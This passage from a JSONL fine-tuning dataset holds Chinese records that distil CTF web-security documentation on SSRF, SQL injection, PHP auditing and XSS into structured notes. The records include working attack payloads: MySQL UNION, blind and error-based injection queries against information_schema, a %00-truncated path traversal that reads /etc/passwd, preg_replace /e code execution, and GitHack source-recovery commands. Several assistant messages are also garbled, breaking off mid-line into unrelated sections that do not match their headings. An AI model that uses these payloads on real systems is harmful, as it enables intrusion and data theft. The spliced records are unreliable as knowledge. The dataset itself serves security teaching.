保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 207, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "阻碍 SSRF 漏洞利用的场景", "heading_path": ["SSRF", "阻碍 SSRF 漏洞利用的场景"], "original_id": "docs-1cd0f2551d1964034031", "original_line": 87, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/ssrf.md", "source_root": "docs", "source_sha256": "e6e0bce605d1e5c8f82db091d75fe8b0b77c3eaaa6c3358b6d22421807f68f3c", "split": "train", "split_group_key": "2777c0ad2a435d39ef7ce103", "subcategory": "web/ssrf.md", "terms": ["SSRF", "漏洞利用", "web", "ssrf.md"], "title": "SSRF"}, "source_dataset": "docs_distilled_v1", "source_path": "web/ssrf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-2ed017b91ca398aa93ef", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「数组」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > PHP 特性 > 数组\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“数组”展开。\n- //同样为真 ` 然而，PHP 内核的开发者原本是想让程序员借由这种不需要声明的体系，更加高效的开发，所以在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换，防止程序中的变量因为程序员的不规范而频繁的报错，然而这却带来了安全问题。\n- > ` php 不会严格检验传入的变量类型，也可以将变量自由的转换类型。\n- `php 0=='0' //true 0 == 'abcdefg' //true 0 === 'abcdefg' //false 1 == '1abcdef' //true ``\n- 比如在 $a == $b 的比较中 `php $a = null;\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- php: 5 行，首行 ` 注入语句备忘 > 表名\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“表名”展开。\n- union 查询 ``sql --MySQL 4版本时用version=9，MySQL 5版本时用version=10 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;\n- / 列出当前数据库中的表 / UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();\n- ` - 盲注 `sql AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A' ` - 报错 `sql AND(SELECT COUNT() FROM (SELECT 1 UNION SELECT null UNION SELECT !\n- 1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!\n- AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));\n\n关键术语：\n- SQL注入\n- web\n- sqli.md\n- code:sql\n\n代码/命令片段线索：\n- sql: 4 行，首行 `--MySQL 4版本时用version=9，MySQL 5版本时用version=10`\n- sql: 1 行，首行 `AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'`\n- sql: 2 行，首行 `AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM inform...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 916, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "表名", "heading_path": ["SQL 注入", "注入语句备忘", "表名"], "original_id": "docs-6922a6a2fea93b4db517", "original_line": 1602, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "ee6cf4d7a5566de19ee41151", "subcategory": "web/sqli.md", "terms": ["SQL注入", "web", "sqli.md", "code:sql"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-3167780081132cd017b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「本地文件包含」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 文件包含 > 本地文件包含\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“本地文件包含”展开。\n- file=../../../../../../../../../etc/passwd%00 ` 需要 magic_quotes_gpc=off，PHP 小于 5.3.4 有效。\n- file=../../../../../../../../../boot.ini/………[…]………… `` 只适用 Windows，点号需要长于 256。\n- ` Linux 需要文件名长于 4096，Windows 需要长于 256。\n- if (file_exists('/home/wwwrun/'.$file.'.php')) { include '/home/wwwrun/'.$file.'.php';\n- > ` 上述代码存在本地文件包含，可用 %00 截断的方式读取 /etc/passwd 文件内容。\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- php: 6 行，首行 ` 变量覆盖 > extract() 变量覆盖\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“extract() 变量覆盖”展开。\n- > ` 当 extract()` 函数从用户可以控制的数组中导出变量时，可能发生变量覆盖。\n- extract() 函数能够将变量从数组导入到当前的符号表，其定义为 `` int extract ( array $var_array [, int $extract_type [, string $prefix ]] ) ` 其中，第二个参数指定函数将变量导入符号表时的行为，最常见的两个值是 EXTR_OVERWRITE 和 EXTR_SKIP。\n- 当值为 EXTR_OVERWRITE 时，在将变量导入符号表的过程中，如果变量名发生冲突，则覆盖所有变量；\n- if ($auth == 1) { echo \"private!\n- 若第二个参数未指定，则在默认情况下使用 EXTR_OVERWRITE。\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- plain: 1 行，首行 `int extract ( array $var_array [, int $extract_type [, string $prefix ]] )`\n- php: 9 行，首行 ` XSS 利用方式 > 会话劫持\n路径分类：web / web/xss.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“会话劫持”展开。\n- 在 Session 机制中，客户端和服务端通过标识符来识别用户身份和维持会话，但这个标识符也有被其他人利用的可能。\n- 如某 CMS 的留言系统存在一个存储型 XSS 漏洞，攻击者把 XSS 代码写进留言信息中，当管理员登录后台并查看时，便会触发 XSS 漏洞，由于 XSS 是在后台触发的，所以攻击的对象是管理员，通过注入 JavaScript 代码，攻击者便可以劫持管理员会话执行某些操作，从而达到提升权限的目的。\n- 比如，攻击者想利用 XSS 添加一个管理员账号，只需要通过之前的代码审计或其他方式，截取到添加管理员账号时的 HTTP 请求信息，然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可，由于请求带上了被攻击者的 Cookies，并一同发送到服务端，即可实现添加一个管理员账户的操作。\n- 会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。\n- 由于使用 Cookies 存在一定的安全缺陷，因此，开发者开始使用一些更为安全的认证方式，如 Session。\n\n关键术语：\n- XSS\n- 漏洞利用\n- web\n- xss.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 444, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "会话劫持", "heading_path": ["XSS", "XSS 利用方式", "会话劫持"], "original_id": "docs-802475cfa56673fb2408", "original_line": 1620, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "source_root": "docs", "source_sha256": "01c58de2e9fa97ce088b50c08e6c2dbc3d6d4422e0aff075e8101572c4056af2", "split": "train", "split_group_key": "881c9e78c53531de726fabc4", "subcategory": "web/xss.md", "terms": ["XSS", "漏洞利用", "web", "xss.md"], "title": "XSS"}, "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-40b9543e4a4622fc8e0b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/ssrf.md` 中的章节「参考资料」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/ssrf.md`\n标题：SSRF\n章节：SSRF > 参考资料\n路径分类：web / web/ssrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考资料”展开。\n- 《Build Your SSRF EXP Autowork》猪猪侠 - 腾讯某处 SSRF 漏洞（非常好的利用点）附利用脚本 - bilibili 某分站从信息泄露到 ssrf 再到命令执行\n\n关键术语：\n- SSRF\n- 漏洞利用\n- web\n- ssrf.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 332, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "web", "heading": "参考资料", "heading_path": ["SSRF", "参考资料"], "original_id": "docs-d67273beddae31171e4d", "original_line": 1615, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/ssrf.md", "source_root": "docs", "source_sha256": "e6e0bce605d1e5c8f82db091d75fe8b0b77c3eaaa6c3358b6d22421807f68f3c", "split": "train", "split_group_key": "1b432fa8aa6916e117d7c736", "subcategory": "web/ssrf.md", "terms": ["SSRF", "漏洞利用", "web", "ssrf.md"], "title": "SSRF"}, "source_dataset": "docs_distilled_v1", "source_path": "web/ssrf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-44889214bc456db504c9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/xss.md` 中的章节「Self-XSS 变废为宝的场景」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/xss.md`\n标题：XSS\n章节：XSS > Self-XSS 变废为宝的场景\n路径分类：web / web/xss.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Self-XSS 变废为宝的场景”展开。\n- Self-XSS 顾名思义，就是一个具有 XSS 漏洞的点只能由攻击者本身触发，即自己打自己的攻击。\n- 但是在一些具体的场景下，结合其他漏洞（比如 CSRF ）就能将 Self-XSS 转变为具有危害的漏洞。\n- 登录登出存在 CSRF，个人信息存在 Self-XSS，第三方登录 这种场景一般的利用流程是首先攻击者在个人信息 XSS 点注入 Payload，然后攻击者制造一个恶意页面诱导受害者访问，恶意页面执行以下操作： 1. 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置，触发 XSS payload 2.\n- 但是由于这个隐私信息只能由用户本人查看也就无法用于攻击其他人。\n- 下面将总结一些常见可利用 Self-XSS 的场景。\n\n关键术语：\n- XSS\n- 密码学\n- 漏洞利用\n- web\n- xss.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 817, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "web", "heading": "Self-XSS 变废为宝的场景", "heading_path": ["XSS", "Self-XSS 变废为宝的场景"], "original_id": "docs-b88cfa955a7dd41e8d30", "original_line": 1622, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "source_root": "docs", "source_sha256": "01c58de2e9fa97ce088b50c08e6c2dbc3d6d4422e0aff075e8101572c4056af2", "split": "train", "split_group_key": "ac7646db8a4a5b0a7f7cece9", "subcategory": "web/xss.md", "terms": ["XSS", "密码学", "漏洞利用", "web", "xss.md"], "title": "XSS"}, "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-4958f94ef973ede1800a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「preg_replace() 代码执行」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 命令执行 > preg_replace() 代码执行\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“preg_replace() 代码执行”展开。\n- > ` 如果没有 /e` 修饰符，可以尝试 %00 截断。\n- preg_replace() 的第一个参数如果存在 /e 模式修饰符，则允许代码执行。\n- php $var = \"phpinfo()\";\n- preg_replace(\"/(.*?\n- )<\\/tag>/e\", \"addslashes(\\\\1)\", $var);\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- php: 4 行，首行 ` 文件上传\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 文件上传漏洞是指用户上传了一个可执行脚本文件，并通过此文件获得了执行服器端命令的能力。\n- 在大多数情况下，文件上传漏洞一般是指上传 WEB 脚本能够被服务器解析的问题，也就是所谓的 webshell 问题。\n- 完成这一攻击需要这样几个条件，一是上传的文件能够被 WEB 容器执行，其次用户能从 WEB 上访问这个文件，最后，如果上传的文件被安全检查、格式化、图片压缩等功能改变了内容，则可能导致攻击失败。\n\n关键术语：\n- 漏洞利用\n- web\n- php\n- php.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 198, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "web", "heading": "文件上传", "heading_path": ["PHP 代码审计", "文件上传"], "original_id": "docs-b1d73c26409afc0bcb49", "original_line": 1626, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "d46c5269aeaa918e71ee4f5c", "subcategory": "web/php/php.md", "terms": ["漏洞利用", "web", "php", "php.md"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-5157175f76bd562dc8fe", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「import_request_variables 变量覆盖」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 变量覆盖 > import_request_variables 变量覆盖\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“import_request_variables 变量覆盖”展开。\n- `` bool import_request_variables (string $types [, string $prefix]) ` import_request_variables 将 GET、POST、Cookies 中的变量导入到全局，使用这个函数只用简单地指定类型即可。\n- > ` import_request_variables(\"G\") 指定导入 GET 请求中的变量，提交 test.php?\n- import_request_variables(\"G\");\n- if ($auth == 1) { echo \"private!\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- plain: 1 行，首行 `bool import_request_variables (string $types [, string $prefix])`\n- php: 9 行，首行 ` 命令执行 > preg_match 代码执行 > 传入参数\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“传入参数”展开。\n- [图片文件: ./figure/preg_match/payloads.png] 结果如下： [图片文件: ./figure/preg_match/flag.png] 于是我们就成功地读取到了flag！\n- 此时我们只需要去调用 getFlag 函数获取 webshell 就好了，构造如下： ``  变量覆盖 > 全局变量覆盖\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“全局变量覆盖”展开。\n- ``ini register_globals=ON ` 示例 `php \";\n- if ($auth) { echo \"private!\n- > ` 当 register_globals=ON 时，提交 test.php?\n- 变量如果未被初始化，且能够被用户所控制，那么很可能会导致安全问题。\n\n关键术语：\n- web\n- php\n- php.md\n- code:ini\n- code:php\n\n代码/命令片段线索：\n- ini: 1 行，首行 `register_globals=ON`\n- php: 6 行，首行 ` 寻找源代码备份 > Git 源码泄露\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Git 源码泄露”展开。\n- .git 目录内有代码的变更记录等文件，如果部署时该目录下的文件可被访问，可能会被利用来恢复源代码。\n- `` /.git /.git/HEAD /.git/index /.git/config /.git/description ` GitHack `shell python GitHack.py http://www.openssl.org/.git/ ` GitHacker（可恢复完整 Git 仓库） `shell python GitHacker.py http://www.openssl.org/.git/ ``\n\n关键术语：\n- 漏洞利用\n- web\n- php\n- php.md\n- code:shell\n\n代码/命令片段线索：\n- plain: 5 行，首行 `/.git`\n- shell: 1 行，首行 `python GitHack.py http://www.openssl.org/.git/`\n- shell: 1 行，首行 `python GitHacker.py http://www.openssl.org/.git/`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 361, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "Git 源码泄露", "heading_path": ["PHP 代码审计", "寻找源代码备份", "Git 源码泄露"], "original_id": "docs-e16c42be42c37c2ac2e7", "original_line": 1639, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "f928fe0223df98fccd95fb40", "subcategory": "web/php/php.md", "terms": ["漏洞利用", "web", "php", "php.md", "code:shell"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-71559eb979d068f8f986", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/introduction.md` 中的章节「XS-Leaks」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/introduction.md`\n标题：Web 简介\n章节：Web 简介 > XS-Leaks\n路径分类：web / web/introduction.md\n分块：1/1\n\n核心知识点：\n- 跨站脚本泄漏（又称 XS-Leaks/XSLeaks），是一类利用 Web 平台内置的侧信道衍生出来的漏洞。\n- 其原理是利用网络上的这种侧信道来揭示用户的敏感信息，如用户在其他网络应用中的数据、用户本地环境信息，或者是用户所连接的内部网络信息等。\n- 该攻击利用了 Web 平台的核心原则--可组合性，即允许网站之间相互作用，并滥用合法机制来推断用户的信息。\n- 该攻击与跨站请求伪造（CSRF）技术主要区别在于 XS-Leaks 并不伪造用户请求执行操作，而是用来推断、获取用户信息。\n- 虽然这些行为通常受到网络平台的安全机制的限制（例如同源政策），但 XS-Leaks 利用了网站之间互动过程中的各种行为来泄露用户信息。\n- 浏览器提供了各种各样的功能来支持不同 Web 应用程序之间的互动；\n\n关键术语：\n- XSS\n- 漏洞利用\n- web\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 373, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "web", "heading": "XS-Leaks", "heading_path": ["Web 简介", "XS-Leaks"], "original_id": "docs-7338b9f707435dc6d4be", "original_line": 1595, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "source_root": "docs", "source_sha256": "d72332ca22133d3da8dcb78632850a7f3f6343c7a8e8015ade8fe5824e3bfc60", "split": "train", "split_group_key": "d90c0502b117677063d8506d", "subcategory": "web/introduction.md", "terms": ["XSS", "漏洞利用", "web", "introduction.md"], "title": "Web 简介"}, "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-743075071ecce273ec43", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「十六进制转换」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > PHP 特性 > 十六进制转换\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“十六进制转换”展开。\n- ``php \"0x1e240\"==\"123456\" //true \"0x1e240\"==123456 //true \"0x1e240\"==\"1e240\" //false ` 当其中的一个字符串是 0x 开头的时候，PHP 会将此字符串解析成为十进制然后再进行比较，0x1240 解析成为十进制就是 123456，所以与 int 类型和 string` 类型的 123456 比较都是相等。\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- php: 3 行，首行 `\"0x1e240\"==\"123456\" //true`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 205, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "十六进制转换", "heading_path": ["PHP 代码审计", "PHP 特性", "十六进制转换"], "original_id": "docs-a72fb763458bf991bba8", "original_line": 89, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "708d7c5bf063621604662036", "subcategory": "web/php/php.md", "terms": ["web", "php", "php.md", "code:php"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-777ce2d29b324ec51900", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「文件包含」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 文件包含\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 常见的导致文件包含的函数有： - PHP：include()，include_once()，require()，require_once()，fopen()，readfile() 等 - JSP Servlet：ava.io.File()，java.io.FileReader() 等 - ASP：includefile，includevirtual 等 当 PHP 包含一个文件时，会将该文件当做 PHP 代码执行，而不会在意文件时什么类型。\n\n关键术语：\n- web\n- php\n- php.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 244, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "文件包含", "heading_path": ["PHP 代码审计", "文件包含"], "original_id": "docs-07f362892b638101ea30", "original_line": 1623, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "9ee8af7111acd75cf77004db", "subcategory": "web/php/php.md", "terms": ["web", "php", "php.md"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-7ab21a52b9e136d3a297", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「preg_match 代码执行」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 命令执行 > preg_match 代码执行\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“preg_match 代码执行”展开。\n- 我们最终是要读取到那个 getFlag 函数，我们需要构造一个 _GET` 来去读取这个函数，我们最终构造了如下字符串： [图片文件: ./figure/preg_match/payloads.png] 可能很多小伙伴看到这里仍然无法理解这段字符串是如何构造的吧，我们就对这段字符串进行段分析。\n- 然后再利用 PHP 允许动态函数执行的特点，拼接出一个函数名，这里我们是 getFlag，然后动态执行该代码即可。\n- 正是由于 PHP 弱类型的这个特点，我们对 PHP 的变量类型进行隐式的转换，并利用这个特点进行一些非常规的操作。\n- > ` 运行结果如下： [图片文件: ./figure/preg_match/answer1.png] 我们可以看到，输出的结果是字符 ~。\n- 通过上面的赋值操作，变量 $__ 的值为 B ，所以这行可以看作是 B() ，在 PHP 中，这行代码表示调用函数 B ，所以执行结果为 Hello Angel_Kitty 。\n\n关键术语：\n- 漏洞利用\n- web\n- php\n- php.md\n\n代码/命令片段线索：\n- plain: 16 行，首行 ` 注入语句备忘 > 列名\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“列名”展开。\n- ` - 利用 PROCEDURE ANALYSE() `sql -- 这个需要 web 展示页面有你所注入查询的一个字段 -- 获得第一个段名 SELECT username, permission FROM Users WHERE id = 1;\n- 1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!\n- AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));\n- 1 PROCEDURE ANALYSE() -- 获得第二个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() -- 获得第三个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() ``\n\n关键术语：\n- SQL注入\n- 修复/缓解\n- 漏洞利用\n- web\n- sqli.md\n- code:sql\n\n代码/命令片段线索：\n- sql: 1 行，首行 `UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'`\n- sql: 1 行，首行 `AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'`\n- sql: 4 行，首行 `-- 在5.1.5版本中成功`\n- sql: 7 行，首行 `-- 这个需要 web 展示页面有你所注入查询的一个字段`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 981, "chunk_count": 